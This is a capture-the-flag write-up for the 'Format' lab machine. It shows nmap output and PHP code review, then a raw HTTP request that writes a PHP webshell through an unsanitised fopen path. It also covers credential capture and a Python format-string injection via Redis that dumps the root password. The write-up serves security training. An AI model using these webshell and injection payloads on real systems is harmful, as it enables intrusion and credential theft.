$ nmap -p- --min-rate 3000 10.129.86.64
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-14 03:41 EDT
Nmap scan report for 10.129.86.64
Host is up (0.16s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
We have to add app.microblog.htb and microblog.htb to our /etc/hosts file to view port 80.
Microblog -> Blog Creation
Port 80 reveals a blogging service called Microblog:
At the bottom, it appears that the website creates new blogs by using new subdomains.
By clicking on Contrubute Here, we are redirected to port 3000 that hosts a Gitea instance with some source code:
Before going there, let's take a look at the rest of the website. After registering a user, it seems that we can 'create' a subdomain:
After creating one, we can edit it.
Going to the edit page reveals that we can use h1 or txt.
This would send a POST request to /edit/index.php:
POST /edit/index.php HTTP/1.1Host:test.microblog.htbUser-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateContent-Type:application/x-www-form-urlencodedContent-Length:24Origin:http://test.microblog.htbConnection:closeReferer:http://test.microblog.htb/edit/Cookie:username=1cl26pbf4ftqkk0s7i5ntv84ivUpgrade-Insecure-Requests:1id=02nc8ktv0kk4&txt=test
Sunny Code Review -> LFI
When checking the application, it seems that we have a sunny subdomain.
Witin the sunny directory, it seems that there is an edit function. The PHP code for this is pretty long, so let's break it down:
The next part of the code seems to verify the users that owns a 'blog' and also checks if we are a Pro user. At the bottom of the code, there's a function that checks whether ourt user is 'Pro':
The Pro user is the target here, as it looks like command injection is possible. The last chunk of code has to do with the upload functions. Most of the functions are somewhat identical to each other, taking 2 POST parameters, with one being called id.
if (isset($_POST['header'])&&isset($_POST['id'])) {chdir(getcwd()."/../content"); $html ="<div class = \"blog-h1 blue-fill\"><b>{$_POST['header']}</b></div>"; $post_file =fopen("{$_POST['id']}","w");fwrite($post_file, $html);fclose($post_file); $order_file =fopen("order.txt","a");fwrite($order_file, $_POST['id'] ."\n"); fclose($order_file);header("Location: /edit?message=Section added!&status=success");}
In this case, it seems that the id parameter is directly passed into fopen, meaning this could be vulnerable to LFI. Earlier, we created a new blog which created a new subdomain, so let's test our vulnerability there and confirm that it works.
POST /edit/index.php HTTP/1.1Host:test.microblog.htbUser-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateContent-Type:application/x-www-form-urlencodedContent-Length:26Origin:http://test.microblog.htbConnection:closeReferer:http://test.microblog.htb/edit/Cookie:username=1cl26pbf4ftqkk0s7i5ntv84ivUpgrade-Insecure-Requests:1id=/etc/passwd&header=test
This means that the code for new blogs are all the same. This means that the 'Pro' user portion is also present on our test blog. Also, it is worth noting that after a few minutes, our new blog and user is deleted from the browser as part of the cleanup script.
App Code Review -> Find Path
Let's take a look at the main site that is creating new subdomains.
functionaddSite($site_name) {if(isset($_SESSION['username'])) {//check if site already exists $scan =glob('/var/www/microblog/*',GLOB_ONLYDIR); $taken_sites =array();foreach($scan as $site) {array_push($taken_sites,substr($site,strrpos($site,'/')+1)); }if(in_array($site_name, $taken_sites)) {header("Location: /dashboard?message=Sorry, that site has already been taken&status=fail");exit; } $redis =newRedis(); $redis->connect('/var/run/redis/redis.sock'); $redis->LPUSH($_SESSION['username'] .":sites", $site_name);chdir(getcwd()."/../../../");system("chmod +w microblog");chdir(getcwd()."/microblog/");if(!is_dir($site_name)) {mkdir($site_name,0700); }system("cp -r /var/www/microblog-template/* /var/www/microblog/". $site_name);if(is_dir($site_name)) {chdir(getcwd()."/". $site_name); }system("chmod +w content");chdir(getcwd()."/../");system("chmod 500 ". $site_name);chdir(getcwd()."/../");system("chmod -w microblog");header("Location: /dashboard?message=Site added successfully!&status=success"); }else {header("Location: /dashboard?message=Site not added, authentication failed&status=fail"); }}
It seems that when the new site is created, it is writeable for a while. Not sure what to do with this though.
After looking through all the code, the 'Pro' user method seems to be the correct way. The ProUser method would allow us to use bulletproof.php to upload files, of which we can probably upload some kind of PHP reverse shell and execute it. Now, we need to find out how to manipulate the Redis database to make ourselves Pro.
Redis Manipulation -> RCE
While researching possible exploits, I found that it was possible to use SSRF to manipulate the Redis database.
This creates an /uploads directory and makes it writeable. This means that we can actually use the LFI to write a file. The reason this works is because of the code below:
$html ="<div class = \"blog-h1 blue-fill\"><b>{$_POST['header']}</b></div>"; $post_file =fopen("{$_POST['id']}","w");fwrite($post_file, $html);fclose($post_file);
The header parameter would have the contents of the PHP webshell, while the id parameter would have the full path of the file to be written since both are not sanitised. I used this HTTP request:
POST /edit/index.php HTTP/1.1Host:test.microblog.htbUser-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateContent-Type:application/x-www-form-urlencodedContent-Length:87Origin:http://test.microblog.htbConnection:closeReferer:http://test.microblog.htb/edit/Cookie:username=1cl26pbf4ftqkk0s7i5ntv84ivUpgrade-Insecure-Requests:1id=/var/www/microblog/test/uploads/rev.php&txt=<%3fphp+system($_REQUEST['cmd'])%3b+%3f>
Afterwards, we can confirm we have RCE:
And then we can get a reverse shell:
Privilege Escalation
Pspy -> Cooper Creds
Within the machine, if we run pspy64, we would eventually see this:
We can use these credentials to access the user via ssh.
Format String -> Root Creds
When we check sudo privileges, we can see the user can run a Python script:
cooper@format:~$ sudo -l
[sudo] password for cooper:
Matching Defaults entries for cooper on format:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User cooper may run the following commands on format:
(root) /usr/bin/license
cooper@format:~$ file /usr/bin/license
/usr/bin/license: Python script, ASCII text executable
The script seems to do some stuff with Redis. First it checks whether the user is root, and some flags can be used. It does some string concatenation at the start too.
classLicense():def__init__(self): chars = string.ascii_letters + string.digits + string.punctuation self.license =''.join(random.choice(chars) for i inrange(40)) self.created = date.today()if os.geteuid()!=0:print("")print("Microblog license key manager can only be run as root")print("") sys.exit()parser = argparse.ArgumentParser(description='Microblog license key manager')group = parser.add_mutually_exclusive_group(required=True)group.add_argument('-p', '--provision', help='Provision license key for specified user', metavar='username')group.add_argument('-d', '--deprovision', help='Deprovision license key for specified user', metavar='username')group.add_argument('-c', '--check', help='Check if specified license key is valid', metavar='license_key')args = parser.parse_args()
Afterwards, it connects to the Redis database and uses a secret password to do so:
r = redis.Redis(unix_socket_path='/var/run/redis/redis.sock')secret = [line.strip()for line inopen("/root/license/secret")][0]secret_encoded = secret.encode()salt =b'microblogsalt123'kdf =PBKDF2HMAC(algorithm=hashes.SHA256(),length=32,salt=salt,iterations=100000,backend=default_backend())encryption_key = base64.urlsafe_b64encode(kdf.derive(secret_encoded))f =Fernet(encryption_key)l =License()
The provision function is the longest, and it does quite a few things.
if(args.provision): user_profile = r.hgetall(args.provision)ifnot user_profile:print("")print("User does not exist. Please provide valid username.")print("") sys.exit() existing_keys =open("/root/license/keys", "r") all_keys = existing_keys.readlines()for user_key in all_keys:if(user_key.split(":")[0] == args.provision):print("")print("License key has already been provisioned for this user")print("") sys.exit() prefix ="microblog" username = r.hget(args.provision, "username").decode() firstlast = r.hget(args.provision, "first-name").decode()+ r.hget(args.provision, "last-name").decode() license_key = (prefix + username +"{license.license}"+ firstlast).format(license=l)print("")print("Plaintext license key:")print("------------------------------------------------------")print(license_key)print("") license_key_encoded = license_key.encode() license_key_encrypted = f.encrypt(license_key_encoded)print("Encrypted license key (distribute to customer):")print("------------------------------------------------------")print(license_key_encrypted.decode())print("")withopen("/root/license/keys", "a")as license_keys_file: license_keys_file.write(args.provision +":"+ license_key_encrypted.decode() +"\n")
It seems to take a username parameter and then it checks if the user exists. Afterwards, it seems to create a license key for the user. This uses the {license.license} string to do so.
The format() string function is vulnerable to a few attacks, and the name of the box means that this is the intended method for PrivEsc. This gives rise to Format String Vulnerabilities:
Perhaps we can use this to dump the secret variable that is used. Maybe that's a hash for the root user. First, we can create a new user called user123 on the website and login to Redis on the machine to view it (use the socket file!):
We can see that this is making an error occur within the script. We can see that the format() function uses license=l, so we can use that to dump the script's global context out:
redis /run/redis/redis.sock> HSET ee username {license.__init__.__globals__} password test first-name test last-name test pro false
(integer) 5
cooper@format:~$ sudo /usr/bin/license -p ee
Plaintext license key:
------------------------------------------------------
microblog{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f7d64b4fc10>
<TRUNCATED>
Within this entire string is the root password of :unCR4ckaBL3Pa$$w0rd. We can then su to root.